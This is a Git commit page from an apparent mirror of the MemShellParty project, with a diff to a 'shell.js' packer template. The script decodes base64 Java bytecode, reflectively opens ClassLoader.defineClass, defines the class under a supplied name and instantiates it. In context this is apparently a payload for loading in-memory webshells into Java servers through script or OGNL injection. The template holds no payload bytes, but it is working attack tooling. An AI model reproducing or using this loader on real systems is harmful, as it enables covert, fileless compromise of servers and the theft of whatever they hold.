archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-23 07:21:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support OGNL SpringUtils packers

Browse Source
This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent d8851ba83e
commit 6f9ae38add
12 changed files with 95 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files
packer/src/main/resources/shell.js
+3 -2
View File
@@ -1,4 +1,5 @@
var base64Str = "{{base64Str}}";
var className = "{{className}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
@@ -10,7 +11,7 @@ try {
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();